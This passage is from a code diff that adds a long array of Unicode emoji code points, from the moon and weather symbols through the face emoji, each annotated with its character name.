+        0x1F31C, // LAST QUARTER MOON WITH FACE
+        0x1F31D, // FULL MOON WITH FACE
+        0x1F31E, // SUN WITH FACE
+        0x1F31F, // GLOWING STAR
+        0x1F320, // SHOOTING STAR
+        0x1F321, // THERMOMETER
+        0x1F324, // WHITE SUN WITH SMALL CLOUD
+        0x1F325, // WHITE SUN BEHIND CLOUD
+        0x1F326, // WHITE SUN BEHIND CLOUD WITH RAIN
+        0x1F327, // CLOUD WITH RAIN
+        0x1F328, // CLOUD WITH SNOW
+        0x1F329, // CLOUD WITH LIGHTNING
+        0x1F32A, // CLOUD WITH TORNADO
+        0x1F32B, // FOG
+        0x1F32C, // WIND BLOWING FACE
+        0x1F32D, // HOT DOG
+        0x1F32E, // TACO
+        0x1F32F, // BURRITO
+        0x1F330, // CHESTNUT
+        0x1F331, // SEEDLING
+        0x1F332, // EVERGREEN TREE
+        0x1F333, // DECIDUOUS TREE
+        0x1F334, // PALM TREE
+        0x1F335, // CACTUS
+        0x1F336, // HOT PEPPER
+        0x1F337, // TULIP
+        0x1F338, // CHERRY BLOSSOM
+        0x1F339, // ROSE
+        0x1F33A, // HIBISCUS
+        0x1F33B, // SUNFLOWER
+        0x1F33C, // BLOSSOM
+        0x1F33D, // EAR OF MAIZE
+        0x1F33E, // EAR OF RICE
+        0x1F33F, // HERB
+        0x1F340, // FOUR LEAF CLOVER
+        0x1F341, // MAPLE LEAF
+        0x1F342, // FALLEN LEAF
+        0x1F343, // LEAF FLUTTERING IN WIND
+        0x1F344, // MUSHROOM
+        0x1F345, // TOMATO
+        0x1F346, // AUBERGINE
+        0x1F347, // GRAPES
+        0x1F348, // MELON
+        0x1F349, // WATERMELON
+        0x1F34A, // TANGERINE
+        0x1F34B, // LEMON
+        0x1F34C, // BANANA
+        0x1F34D, // PINEAPPLE
+        0x1F34E, // RED APPLE
+        0x1F34F, // GREEN APPLE
+        0x1F350, // PEAR
+        0x1F351, // PEACH
+        0x1F352, // CHERRIES
+        0x1F353, // STRAWBERRY
+        0x1F354, // HAMBURGER
+        0x1F355, // SLICE OF PIZZA
+        0x1F356, // MEAT ON BONE
+        0x1F357, // POULTRY LEG
+        0x1F358, // RICE CRACKER
+        0x1F359, // RICE BALL
+        0x1F35A, // COOKED RICE
+        0x1F35B, // CURRY AND RICE
+        0x1F35C, // STEAMING BOWL
+        0x1F35D, // SPAGHETTI
+        0x1F35E, // BREAD
+        0x1F35F, // FRENCH FRIES
+        0x1F360, // ROASTED SWEET POTATO
+        0x1F361, // DANGO
+        0x1F362, // ODEN
+        0x1F363, // SUSHI
+        0x1F364, // FRIED SHRIMP
+        0x1F365, // FISH CAKE WITH SWIRL DESIGN
+        0x1F366, // SOFT ICE CREAM
+        0x1F367, // SHAVED ICE
+        0x1F368, // ICE CREAM
+        0x1F369, // DOUGHNUT
+        0x1F36A, // COOKIE
+        0x1F36B, // CHOCOLATE BAR
+        0x1F36C, // CANDY
+        0x1F36D, // LOLLIPOP
+        0x1F36E, // CUSTARD
+        0x1F36F, // HONEY POT
+        0x1F370, // SHORTCAKE
+        0x1F371, // BENTO BOX
+        0x1F372, // POT OF FOOD
+        0x1F373, // COOKING
+        0x1F374, // FORK AND KNIFE
+        0x1F375, // TEACUP WITHOUT HANDLE
+        0x1F376, // SAKE BOTTLE AND CUP
+        0x1F377, // WINE GLASS
+        0x1F378, // COCKTAIL GLASS
+        0x1F379, // TROPICAL DRINK
+        0x1F37A, // BEER MUG
+        0x1F37B, // CLINKING BEER MUGS
+        0x1F37C, // BABY BOTTLE
+        0x1F37D, // FORK AND KNIFE WITH PLATE
+        0x1F37E, // BOTTLE WITH POPPING CORK
+        0x1F37F, // POPCORN
+        0x1F380, // RIBBON
+        0x1F381, // WRAPPED PRESENT
+        0x1F382, // BIRTHDAY CAKE
+        0x1F383, // JACK-O-LANTERN
+        0x1F384, // CHRISTMAS TREE
+        0x1F385, // FATHER CHRISTMAS
+        0x1F386, // FIREWORKS
+        0x1F387, // FIREWORK SPARKLER
+        0x1F388, // BALLOON
+        0x1F389, // PARTY POPPER
+        0x1F38A, // CONFETTI BALL
+        0x1F38B, // TANABATA TREE
+        0x1F38C, // CROSSED FLAGS
+        0x1F38D, // PINE DECORATION
+        0x1F38E, // JAPANESE DOLLS
+        0x1F38F, // CARP STREAMER
+        0x1F390, // WIND CHIME
+        0x1F391, // MOON VIEWING CEREMONY
+        0x1F392, // SCHOOL SATCHEL
+        0x1F393, // GRADUATION CAP
+        0x1F396, // MILITARY MEDAL
+        0x1F397, // REMINDER RIBBON
+        0x1F399, // STUDIO MICROPHONE
+        0x1F39A, // LEVEL SLIDER
+        0x1F39B, // CONTROL KNOBS
+        0x1F39E, // FILM FRAMES
+        0x1F39F, // ADMISSION TICKETS
+        0x1F3A0, // CAROUSEL HORSE
+        0x1F3A1, // FERRIS WHEEL
+        0x1F3A2, // ROLLER COASTER
+        0x1F3A3, // FISHING POLE AND FISH
+        0x1F3A4, // MICROPHONE
+        0x1F3A5, // MOVIE CAMERA
+        0x1F3A6, // CINEMA
+        0x1F3A7, // HEADPHONE
+        0x1F3A8, // ARTIST PALETTE
+        0x1F3A9, // TOP HAT
+        0x1F3AA, // CIRCUS TENT
+        0x1F3AB, // TICKET
+        0x1F3AC, // CLAPPER BOARD
+        0x1F3AD, // PERFORMING ARTS
+        0x1F3AE, // VIDEO GAME
+        0x1F3AF, // DIRECT HIT
+        0x1F3B0, // SLOT MACHINE
+        0x1F3B1, // BILLIARDS
+        0x1F3B2, // GAME DIE
+        0x1F3B3, // BOWLING
+        0x1F3B4, // FLOWER PLAYING CARDS
+        0x1F3B5, // MUSICAL NOTE
+        0x1F3B6, // MULTIPLE MUSICAL NOTES
+        0x1F3B7, // SAXOPHONE
+        0x1F3B8, // GUITAR
+        0x1F3B9, // MUSICAL KEYBOARD
+        0x1F3BA, // TRUMPET
+        0x1F3BB, // VIOLIN
+        0x1F3BC, // MUSICAL SCORE
+        0x1F3BD, // RUNNING SHIRT WITH SASH
+        0x1F3BE, // TENNIS RACQUET AND BALL
+        0x1F3BF, // SKI AND SKI BOOT
+        0x1F3C0, // BASKETBALL AND HOOP
+        0x1F3C1, // CHEQUERED FLAG
+        0x1F3C2, // SNOWBOARDER
+        0x1F3C3, // RUNNER
+        0x1F3C4, // SURFER
+        0x1F3C5, // SPORTS MEDAL
+        0x1F3C6, // TROPHY
+        0x1F3C7, // HORSE RACING
+        0x1F3C8, // AMERICAN FOOTBALL
+        0x1F3C9, // RUGBY FOOTBALL
+        0x1F3CA, // SWIMMER
+        0x1F3CB, // WEIGHT LIFTER
+        0x1F3CC, // GOLFER
+        0x1F3CD, // RACING MOTORCYCLE
+        0x1F3CE, // RACING CAR
+        0x1F3CF, // CRICKET BAT AND BALL
+        0x1F3D0, // VOLLEYBALL
+        0x1F3D1, // FIELD HOCKEY STICK AND BALL
+        0x1F3D2, // ICE HOCKEY STICK AND PUCK
+        0x1F3D3, // TABLE TENNIS PADDLE AND BALL
+        0x1F3D4, // SNOW CAPPED MOUNTAIN
+        0x1F3D5, // CAMPING
+        0x1F3D6, // BEACH WITH UMBRELLA
+        0x1F3D7, // BUILDING CONSTRUCTION
+        0x1F3D8, // HOUSE BUILDINGS
+        0x1F3D9, // CITYSCAPE
+        0x1F3DA, // DERELICT HOUSE BUILDING
+        0x1F3DB, // CLASSICAL BUILDING
+        0x1F3DC, // DESERT
+        0x1F3DD, // DESERT ISLAND
+        0x1F3DE, // NATIONAL PARK
+        0x1F3DF, // STADIUM
+        0x1F3E0, // HOUSE BUILDING
+        0x1F3E1, // HOUSE WITH GARDEN
+        0x1F3E2, // OFFICE BUILDING
+        0x1F3E3, // JAPANESE POST OFFICE
+        0x1F3E4, // EUROPEAN POST OFFICE
+        0x1F3E5, // HOSPITAL
+        0x1F3E6, // BANK
+        0x1F3E7, // AUTOMATED TELLER MACHINE
+        0x1F3E8, // HOTEL
+        0x1F3E9, // LOVE HOTEL
+        0x1F3EA, // CONVENIENCE STORE
+        0x1F3EB, // SCHOOL
+        0x1F3EC, // DEPARTMENT STORE
+        0x1F3ED, // FACTORY
+        0x1F3EE, // IZAKAYA LANTERN
+        0x1F3EF, // JAPANESE CASTLE
+        0x1F3F0, // EUROPEAN CASTLE
+        0x1F3F3, // WAVING WHITE FLAG
+        0x1F3F4, // WAVING BLACK FLAG
+        0x1F3F5, // ROSETTE
+        0x1F3F7, // LABEL
+        0x1F3F8, // BADMINTON RACQUET AND SHUTTLECOCK
+        0x1F3F9, // BOW AND ARROW
+        0x1F3FA, // AMPHORA
+        0x1F3FB, // EMOJI MODIFIER FITZPATRICK TYPE-1-2
+        0x1F3FC, // EMOJI MODIFIER FITZPATRICK TYPE-3
+        0x1F3FD, // EMOJI MODIFIER FITZPATRICK TYPE-4
+        0x1F3FE, // EMOJI MODIFIER FITZPATRICK TYPE-5
+        0x1F3FF, // EMOJI MODIFIER FITZPATRICK TYPE-6
+        0x1F400, // RAT
+        0x1F401, // MOUSE
+        0x1F402, // OX
+        0x1F403, // WATER BUFFALO
+        0x1F404, // COW
+        0x1F405, // TIGER
+        0x1F406, // LEOPARD
+        0x1F407, // RABBIT
+        0x1F408, // CAT
+        0x1F409, // DRAGON
+        0x1F40A, // CROCODILE
+        0x1F40B, // WHALE
+        0x1F40C, // SNAIL
+        0x1F40D, // SNAKE
+        0x1F40E, // HORSE
+        0x1F40F, // RAM
+        0x1F410, // GOAT
+        0x1F411, // SHEEP
+        0x1F412, // MONKEY
+        0x1F413, // ROOSTER
+        0x1F414, // CHICKEN
+        0x1F415, // DOG
+        0x1F416, // PIG
+        0x1F417, // BOAR
+        0x1F418, // ELEPHANT
+        0x1F419, // OCTOPUS
+        0x1F41A, // SPIRAL SHELL
+        0x1F41B, // BUG
+        0x1F41C, // ANT
+        0x1F41D, // HONEYBEE
+        0x1F41E, // LADY BEETLE
+        0x1F41F, // FISH
+        0x1F420, // TROPICAL FISH
+        0x1F421, // BLOWFISH
+        0x1F422, // TURTLE
+        0x1F423, // HATCHING CHICK
+        0x1F424, // BABY CHICK
+        0x1F425, // FRONT-FACING BABY CHICK
+        0x1F426, // BIRD
+        0x1F427, // PENGUIN
+        0x1F428, // KOALA
+        0x1F429, // POODLE
+        0x1F42A, // DROMEDARY CAMEL
+        0x1F42B, // BACTRIAN CAMEL
+        0x1F42C, // DOLPHIN
+        0x1F42D, // MOUSE FACE
+        0x1F42E, // COW FACE
+        0x1F42F, // TIGER FACE
+        0x1F430, // RABBIT FACE
+        0x1F431, // CAT FACE
+        0x1F432, // DRAGON FACE
+        0x1F433, // SPOUTING WHALE
+        0x1F434, // HORSE FACE
+        0x1F435, // MONKEY FACE
+        0x1F436, // DOG FACE
+        0x1F437, // PIG FACE
+        0x1F438, // FROG FACE
+        0x1F439, // HAMSTER FACE
+        0x1F43A, // WOLF FACE
+        0x1F43B, // BEAR FACE
+        0x1F43C, // PANDA FACE
+        0x1F43D, // PIG NOSE
+        0x1F43E, // PAW PRINTS
+        0x1F43F, // CHIPMUNK
+        0x1F440, // EYES
+        0x1F441, // EYE
+        0x1F442, // EAR
+        0x1F443, // NOSE
+        0x1F444, // MOUTH
+        0x1F445, // TONGUE
+        0x1F446, // WHITE UP POINTING BACKHAND INDEX
+        0x1F447, // WHITE DOWN POINTING BACKHAND INDEX
+        0x1F448, // WHITE LEFT POINTING BACKHAND INDEX
+        0x1F449, // WHITE RIGHT POINTING BACKHAND INDEX
+        0x1F44A, // FISTED HAND SIGN
+        0x1F44B, // WAVING HAND SIGN
+        0x1F44C, // OK HAND SIGN
+        0x1F44D, // THUMBS UP SIGN
+        0x1F44E, // THUMBS DOWN SIGN
+        0x1F44F, // CLAPPING HANDS SIGN
+        0x1F450, // OPEN HANDS SIGN
+        0x1F451, // CROWN
+        0x1F452, // WOMANS HAT
+        0x1F453, // EYEGLASSES
+        0x1F454, // NECKTIE
+        0x1F455, // T-SHIRT
+        0x1F456, // JEANS
+        0x1F457, // DRESS
+        0x1F458, // KIMONO
+        0x1F459, // BIKINI
+        0x1F45A, // WOMANS CLOTHES
+        0x1F45B, // PURSE
+        0x1F45C, // HANDBAG
+        0x1F45D, // POUCH
+        0x1F45E, // MANS SHOE
+        0x1F45F, // ATHLETIC SHOE
+        0x1F460, // HIGH-HEELED SHOE
+        0x1F461, // WOMANS SANDAL
+        0x1F462, // WOMANS BOOTS
+        0x1F463, // FOOTPRINTS
+        0x1F464, // BUST IN SILHOUETTE
+        0x1F465, // BUSTS IN SILHOUETTE
+        0x1F466, // BOY
+        0x1F467, // GIRL
+        0x1F468, // MAN
+        0x1F469, // WOMAN
+        0x1F46A, // FAMILY
+        0x1F46B, // MAN AND WOMAN HOLDING HANDS
+        0x1F46C, // TWO MEN HOLDING HANDS
+        0x1F46D, // TWO WOMEN HOLDING HANDS
+        0x1F46E, // POLICE OFFICER
+        0x1F46F, // WOMAN WITH BUNNY EARS
+        0x1F470, // BRIDE WITH VEIL
+        0x1F471, // PERSON WITH BLOND HAIR
+        0x1F472, // MAN WITH GUA PI MAO
+        0x1F473, // MAN WITH TURBAN
+        0x1F474, // OLDER MAN
+        0x1F475, // OLDER WOMAN
+        0x1F476, // BABY
+        0x1F477, // CONSTRUCTION WORKER
+        0x1F478, // PRINCESS
+        0x1F479, // JAPANESE OGRE
+        0x1F47A, // JAPANESE GOBLIN
+        0x1F47B, // GHOST
+        0x1F47C, // BABY ANGEL
+        0x1F47D, // EXTRATERRESTRIAL ALIEN
+        0x1F47E, // ALIEN MONSTER
+        0x1F47F, // IMP
+        0x1F480, // SKULL
+        0x1F481, // INFORMATION DESK PERSON
+        0x1F482, // GUARDSMAN
+        0x1F483, // DANCER
+        0x1F484, // LIPSTICK
+        0x1F485, // NAIL POLISH
+        0x1F486, // FACE MASSAGE
+        0x1F487, // HAIRCUT
+        0x1F488, // BARBER POLE
+        0x1F489, // SYRINGE
+        0x1F48A, // PILL
+        0x1F48B, // KISS MARK
+        0x1F48C, // LOVE LETTER
+        0x1F48D, // RING
+        0x1F48E, // GEM STONE
+        0x1F48F, // KISS
+        0x1F490, // BOUQUET
+        0x1F491, // COUPLE WITH HEART
+        0x1F492, // WEDDING
+        0x1F493, // BEATING HEART
+        0x1F494, // BROKEN HEART
+        0x1F495, // TWO HEARTS
+        0x1F496, // SPARKLING HEART
+        0x1F497, // GROWING HEART
+        0x1F498, // HEART WITH ARROW
+        0x1F499, // BLUE HEART
+        0x1F49A, // GREEN HEART
+        0x1F49B, // YELLOW HEART
+        0x1F49C, // PURPLE HEART
+        0x1F49D, // HEART WITH RIBBON
+        0x1F49E, // REVOLVING HEARTS
+        0x1F49F, // HEART DECORATION
+        0x1F4A0, // DIAMOND SHAPE WITH A DOT INSIDE
+        0x1F4A1, // ELECTRIC LIGHT BULB
+        0x1F4A2, // ANGER SYMBOL
+        0x1F4A3, // BOMB
+        0x1F4A4, // SLEEPING SYMBOL
+        0x1F4A5, // COLLISION SYMBOL
+        0x1F4A6, // SPLASHING SWEAT SYMBOL
+        0x1F4A7, // DROPLET
+        0x1F4A8, // DASH SYMBOL
+        0x1F4A9, // PILE OF POO
+        0x1F4AA, // FLEXED BICEPS
+        0x1F4AB, // DIZZY SYMBOL
+        0x1F4AC, // SPEECH BALLOON
+        0x1F4AD, // THOUGHT BALLOON
+        0x1F4AE, // WHITE FLOWER
+        0x1F4AF, // HUNDRED POINTS SYMBOL
+        0x1F4B0, // MONEY BAG
+        0x1F4B1, // CURRENCY EXCHANGE
+        0x1F4B2, // HEAVY DOLLAR SIGN
+        0x1F4B3, // CREDIT CARD
+        0x1F4B4, // BANKNOTE WITH YEN SIGN
+        0x1F4B5, // BANKNOTE WITH DOLLAR SIGN
+        0x1F4B6, // BANKNOTE WITH EURO SIGN
+        0x1F4B7, // BANKNOTE WITH POUND SIGN
+        0x1F4B8, // MONEY WITH WINGS
+        0x1F4B9, // CHART WITH UPWARDS TREND AND YEN SIGN
+        0x1F4BA, // SEAT
+        0x1F4BB, // PERSONAL COMPUTER
+        0x1F4BC, // BRIEFCASE
+        0x1F4BD, // MINIDISC
+        0x1F4BE, // FLOPPY DISK
+        0x1F4BF, // OPTICAL DISC
+        0x1F4C0, // DVD
+        0x1F4C1, // FILE FOLDER
+        0x1F4C2, // OPEN FILE FOLDER
+        0x1F4C3, // PAGE WITH CURL
+        0x1F4C4, // PAGE FACING UP
+        0x1F4C5, // CALENDAR
+        0x1F4C6, // TEAR-OFF CALENDAR
+        0x1F4C7, // CARD INDEX
+        0x1F4C8, // CHART WITH UPWARDS TREND
+        0x1F4C9, // CHART WITH DOWNWARDS TREND
+        0x1F4CA, // BAR CHART
+        0x1F4CB, // CLIPBOARD
+        0x1F4CC, // PUSHPIN
+        0x1F4CD, // ROUND PUSHPIN
+        0x1F4CE, // PAPERCLIP
+        0x1F4CF, // STRAIGHT RULER
+        0x1F4D0, // TRIANGULAR RULER
+        0x1F4D1, // BOOKMARK TABS
+        0x1F4D2, // LEDGER
+        0x1F4D3, // NOTEBOOK
+        0x1F4D4, // NOTEBOOK WITH DECORATIVE COVER
+        0x1F4D5, // CLOSED BOOK
+        0x1F4D6, // OPEN BOOK
+        0x1F4D7, // GREEN BOOK
+        0x1F4D8, // BLUE BOOK
+        0x1F4D9, // ORANGE BOOK
+        0x1F4DA, // BOOKS
+        0x1F4DB, // NAME BADGE
+        0x1F4DC, // SCROLL
+        0x1F4DD, // MEMO
+        0x1F4DE, // TELEPHONE RECEIVER
+        0x1F4DF, // PAGER
+        0x1F4E0, // FAX MACHINE
+        0x1F4E1, // SATELLITE ANTENNA
+        0x1F4E2, // PUBLIC ADDRESS LOUDSPEAKER
+        0x1F4E3, // CHEERING MEGAPHONE
+        0x1F4E4, // OUTBOX TRAY
+        0x1F4E5, // INBOX TRAY
+        0x1F4E6, // PACKAGE
+        0x1F4E7, // E-MAIL SYMBOL
+        0x1F4E8, // INCOMING ENVELOPE
+        0x1F4E9, // ENVELOPE WITH DOWNWARDS ARROW ABOVE
+        0x1F4EA, // CLOSED MAILBOX WITH LOWERED FLAG
+        0x1F4EB, // CLOSED MAILBOX WITH RAISED FLAG
+        0x1F4EC, // OPEN MAILBOX WITH RAISED FLAG
+        0x1F4ED, // OPEN MAILBOX WITH LOWERED FLAG
+        0x1F4EE, // POSTBOX
+        0x1F4EF, // POSTAL HORN
+        0x1F4F0, // NEWSPAPER
+        0x1F4F1, // MOBILE PHONE
+        0x1F4F2, // MOBILE PHONE WITH RIGHTWARDS ARROW AT LEFT
+        0x1F4F3, // VIBRATION MODE
+        0x1F4F4, // MOBILE PHONE OFF
+        0x1F4F5, // NO MOBILE PHONES
+        0x1F4F6, // ANTENNA WITH BARS
+        0x1F4F7, // CAMERA
+        0x1F4F8, // CAMERA WITH FLASH
+        0x1F4F9, // VIDEO CAMERA
+        0x1F4FA, // TELEVISION
+        0x1F4FB, // RADIO
+        0x1F4FC, // VIDEOCASSETTE
+        0x1F4FD, // FILM PROJECTOR
+        0x1F4FF, // PRAYER BEADS
+        0x1F500, // TWISTED RIGHTWARDS ARROWS
+        0x1F501, // CLOCKWISE RIGHTWARDS AND LEFTWARDS OPEN CIRCLE ARROWS
+        0x1F502, // CLOCKWISE RIGHTWARDS AND LEFTWARDS OPEN CIRCLE ARROWS WITH CIRCLED ONE OVERLAY
+        0x1F503, // CLOCKWISE DOWNWARDS AND UPWARDS OPEN CIRCLE ARROWS
+        0x1F504, // ANTICLOCKWISE DOWNWARDS AND UPWARDS OPEN CIRCLE ARROWS
+        0x1F505, // LOW BRIGHTNESS SYMBOL
+        0x1F506, // HIGH BRIGHTNESS SYMBOL
+        0x1F507, // SPEAKER WITH CANCELLATION STROKE
+        0x1F508, // SPEAKER
+        0x1F509, // SPEAKER WITH ONE SOUND WAVE
+        0x1F50A, // SPEAKER WITH THREE SOUND WAVES
+        0x1F50B, // BATTERY
+        0x1F50C, // ELECTRIC PLUG
+        0x1F50D, // LEFT-POINTING MAGNIFYING GLASS
+        0x1F50E, // RIGHT-POINTING MAGNIFYING GLASS
+        0x1F50F, // LOCK WITH INK PEN
+        0x1F510, // CLOSED LOCK WITH KEY
+        0x1F511, // KEY
+        0x1F512, // LOCK
+        0x1F513, // OPEN LOCK
+        0x1F514, // BELL
+        0x1F515, // BELL WITH CANCELLATION STROKE
+        0x1F516, // BOOKMARK
+        0x1F517, // LINK SYMBOL
+        0x1F518, // RADIO BUTTON
+        0x1F519, // BACK WITH LEFTWARDS ARROW ABOVE
+        0x1F51A, // END WITH LEFTWARDS ARROW ABOVE
+        0x1F51B, // ON WITH EXCLAMATION MARK WITH LEFT RIGHT ARROW ABOVE
+        0x1F51C, // SOON WITH RIGHTWARDS ARROW ABOVE
+        0x1F51D, // TOP WITH UPWARDS ARROW ABOVE
+        0x1F51E, // NO ONE UNDER EIGHTEEN SYMBOL
+        0x1F51F, // KEYCAP TEN
+        0x1F520, // INPUT SYMBOL FOR LATIN CAPITAL LETTERS
+        0x1F521, // INPUT SYMBOL FOR LATIN SMALL LETTERS
+        0x1F522, // INPUT SYMBOL FOR NUMBERS
+        0x1F523, // INPUT SYMBOL FOR SYMBOLS
+        0x1F524, // INPUT SYMBOL FOR LATIN LETTERS
+        0x1F525, // FIRE
+        0x1F526, // ELECTRIC TORCH
+        0x1F527, // WRENCH
+        0x1F528, // HAMMER
+        0x1F529, // NUT AND BOLT
+        0x1F52A, // HOCHO
+        0x1F52B, // PISTOL
+        0x1F52C, // MICROSCOPE
+        0x1F52D, // TELESCOPE
+        0x1F52E, // CRYSTAL BALL
+        0x1F52F, // SIX POINTED STAR WITH MIDDLE DOT
+        0x1F530, // JAPANESE SYMBOL FOR BEGINNER
+        0x1F531, // TRIDENT EMBLEM
+        0x1F532, // BLACK SQUARE BUTTON
+        0x1F533, // WHITE SQUARE BUTTON
+        0x1F534, // LARGE RED CIRCLE
+        0x1F535, // LARGE BLUE CIRCLE
+        0x1F536, // LARGE ORANGE DIAMOND
+        0x1F537, // LARGE BLUE DIAMOND
+        0x1F538, // SMALL ORANGE DIAMOND
+        0x1F539, // SMALL BLUE DIAMOND
+        0x1F53A, // UP-POINTING RED TRIANGLE
+        0x1F53B, // DOWN-POINTING RED TRIANGLE
+        0x1F53C, // UP-POINTING SMALL RED TRIANGLE
+        0x1F53D, // DOWN-POINTING SMALL RED TRIANGLE
+        0x1F549, // OM SYMBOL
+        0x1F54A, // DOVE OF PEACE
+        0x1F54B, // KAABA
+        0x1F54C, // MOSQUE
+        0x1F54D, // SYNAGOGUE
+        0x1F54E, // MENORAH WITH NINE BRANCHES
+        0x1F550, // CLOCK FACE ONE OCLOCK
+        0x1F551, // CLOCK FACE TWO OCLOCK
+        0x1F552, // CLOCK FACE THREE OCLOCK
+        0x1F553, // CLOCK FACE FOUR OCLOCK
+        0x1F554, // CLOCK FACE FIVE OCLOCK
+        0x1F555, // CLOCK FACE SIX OCLOCK
+        0x1F556, // CLOCK FACE SEVEN OCLOCK
+        0x1F557, // CLOCK FACE EIGHT OCLOCK
+        0x1F558, // CLOCK FACE NINE OCLOCK
+        0x1F559, // CLOCK FACE TEN OCLOCK
+        0x1F55A, // CLOCK FACE ELEVEN OCLOCK
+        0x1F55B, // CLOCK FACE TWELVE OCLOCK
+        0x1F55C, // CLOCK FACE ONE-THIRTY
+        0x1F55D, // CLOCK FACE TWO-THIRTY
+        0x1F55E, // CLOCK FACE THREE-THIRTY
+        0x1F55F, // CLOCK FACE FOUR-THIRTY
+        0x1F560, // CLOCK FACE FIVE-THIRTY
+        0x1F561, // CLOCK FACE SIX-THIRTY
+        0x1F562, // CLOCK FACE SEVEN-THIRTY
+        0x1F563, // CLOCK FACE EIGHT-THIRTY
+        0x1F564, // CLOCK FACE NINE-THIRTY
+        0x1F565, // CLOCK FACE TEN-THIRTY
+        0x1F566, // CLOCK FACE ELEVEN-THIRTY
+        0x1F567, // CLOCK FACE TWELVE-THIRTY
+        0x1F56F, // CANDLE
+        0x1F570, // MANTELPIECE CLOCK
+        0x1F573, // HOLE
+        0x1F574, // MAN IN BUSINESS SUIT LEVITATING
+        0x1F575, // SLEUTH OR SPY
+        0x1F576, // DARK SUNGLASSES
+        0x1F577, // SPIDER
+        0x1F578, // SPIDER WEB
+        0x1F579, // JOYSTICK
+        0x1F57A, // MAN DANCING
+        0x1F587, // LINKED PAPERCLIPS
+        0x1F58A, // LOWER LEFT BALLPOINT PEN
+        0x1F58B, // LOWER LEFT FOUNTAIN PEN
+        0x1F58C, // LOWER LEFT PAINTBRUSH
+        0x1F58D, // LOWER LEFT CRAYON
+        0x1F590, // RAISED HAND WITH FINGERS SPLAYED
+        0x1F595, // REVERSED HAND WITH MIDDLE FINGER EXTENDED
+        0x1F596, // RAISED HAND WITH PART BETWEEN MIDDLE AND RING FINGERS
+        0x1F5A4, // BLACK HEART
+        0x1F5A5, // DESKTOP COMPUTER
+        0x1F5A8, // PRINTER
+        0x1F5B1, // THREE BUTTON MOUSE
+        0x1F5B2, // TRACKBALL
+        0x1F5BC, // FRAME WITH PICTURE
+        0x1F5C2, // CARD INDEX DIVIDERS
+        0x1F5C3, // CARD FILE BOX
+        0x1F5C4, // FILE CABINET
+        0x1F5D1, // WASTEBASKET
+        0x1F5D2, // SPIRAL NOTE PAD
+        0x1F5D3, // SPIRAL CALENDAR PAD
+        0x1F5DC, // COMPRESSION
+        0x1F5DD, // OLD KEY
+        0x1F5DE, // ROLLED-UP NEWSPAPER
+        0x1F5E1, // DAGGER KNIFE
+        0x1F5E3, // SPEAKING HEAD IN SILHOUETTE
+        0x1F5E8, // LEFT SPEECH BUBBLE
+        0x1F5EF, // RIGHT ANGER BUBBLE
+        0x1F5F3, // BALLOT BOX WITH BALLOT
+        0x1F5FA, // WORLD MAP
+        0x1F5FB, // MOUNT FUJI
+        0x1F5FC, // TOKYO TOWER
+        0x1F5FD, // STATUE OF LIBERTY
+        0x1F5FE, // SILHOUETTE OF JAPAN
+        0x1F5FF, // MOYAI
+        0x1F600, // GRINNING FACE
+        0x1F601, // GRINNING FACE WITH SMILING EYES
+        0x1F602, // FACE WITH TEARS OF JOY
+        0x1F603, // SMILING FACE WITH OPEN MOUTH
+        0x1F604, // SMILING FACE WITH OPEN MOUTH AND SMILING EYES
+        0x1F605, // SMILING FACE WITH OPEN MOUTH AND COLD SWEAT
+        0x1F606, // SMILING FACE WITH OPEN MOUTH AND TIGHTLY-CLOSED EYES
+        0x1F607, // SMILING FACE WITH HALO
+        0x1F608, // SMILING FACE WITH HORNS
+        0x1F609, // WINKING FACE
+        0x1F60A, // SMILING FACE WITH SMILING EYES
+        0x1F60B, // FACE SAVOURING DELICIOUS FOOD
+        0x1F60C, // RELIEVED FACE
+        0x1F60D, // SMILING FACE WITH HEART-SHAPED EYES
+        0x1F60E, // SMILING FACE WITH SUNGLASSES
+        0x1F60F, // SMIRKING FACE
+        0x1F610, // NEUTRAL FACE
+        0x1F611, // EXPRESSIONLESS FACE
+        0x1F612, // UNAMUSED FACE
+        0x1F613, // FACE WITH COLD SWEAT
+        0x1F614, // PENSIVE FACE
+        0x1F615, // CONFUSED FACE
+        0x1F616, // CONFOUNDED FACE
+        0x1F617, // KISSING FACE
+        0x1F618, // FACE THROWING A KISS
+        0x1F619, // KISSING FACE WITH SMILING EYES
+        0x1F61A, // KISSING FACE WITH CLOSED EYES
+        0x1F61B, // FACE WITH STUCK-OUT TONGUE
+        0x1F61C, // FACE WITH STUCK-OUT TONGUE AND WINKING EYE
+        0x1F61D, // FACE WITH STUCK-OUT TONGUE AND TIGHTLY-CLOSED EYES
+        0x1F61E, // DISAPPOINTED FACE
+        0x1F61F, // WORRIED FACE
+        0x1F620, // ANGRY FACE
+        0x1F621, // POUTING FACE
+        0x1F622, // CRYING FACE
+        0x1F623, // PERSEVERING FACE
+        0x1F624, // FACE WITH LOOK OF TRIUMPH
+        0x1F625, // DISAPPOINTED BUT RELIEVED FACE
+        0x1F626, // FROWNING FACE WITH OPEN MOUTH
+        0x1F627, // ANGUISHED FACE
+        0x1F628, // FEARFUL FACE
+        0x1F629, // WEARY FACE
+        0x1F62A, // SLEEPY FACE
+        0x1F62B, // TIRED FACE
+        0x1F62C, // GRIMACING FACE
+        0x1F62D, // LOUDLY CRYING FACE
+        0x1F62E, // FACE WITH OPEN MOUTH
+        0x1F62F, // HUSHED FACE
+        0x1F630, // FACE WITH OPEN MOUTH AND COLD SWEAT
+        0x1F631, // FACE SCREAMING IN FEAR
+        0x1F632, // ASTONISHED FACE
+        0x1F633, // FLUSHED FACE
+        0x1F634, // SLEEPING FACE
+        0x1F635, // DIZZY FACE
+        0x1F636, // FACE WITHOUT MOUTH
+        0x1F637, // FACE WITH MEDICAL MASK
+        0x1F638, // GRINNING CAT FACE WITH SMILING EYES
+        0x1F639, // CAT FACE WITH TEARS OF JOY
+        0x1F63A, // SMILING CAT FACE WITH OPEN MOUTH
+        0x1F63B, // SMILING CAT FACE WITH HEART-SHAPED EYES
+        0x1F63C, // CAT FACE WITH WRY SMILE
+        0x1F63D, // KISSING CAT FACE WITH CLOSED EYES
+        0x1F63E, // POUTING CAT FACE
+        0x1F63F, // CRYING CAT FACE
+        0x1F640, // WEARY CAT FACE
+        0x1F641, // SLIGHTLY FROWNING FACE
+        0x1F642, // SLIGHTLY SMILING FACE
+        0x1F643, // UPSIDE-DOWN FACE
+        0x1F644, // FACE WITH ROLLING EYES
+        0x1F645, // FACE WITH NO GOOD GESTURE
+        0x1F646, // FACE WITH OK GESTURE
+        0x1F647, // PERSON BOWING DEEPLY
+        0x1F648, // SEE-NO-EVIL MONKEY
+        0x1F649, // HEAR-NO-EVIL MONKEY
+        0x1F64A, // SPEAK-NO-EVIL MONKEY
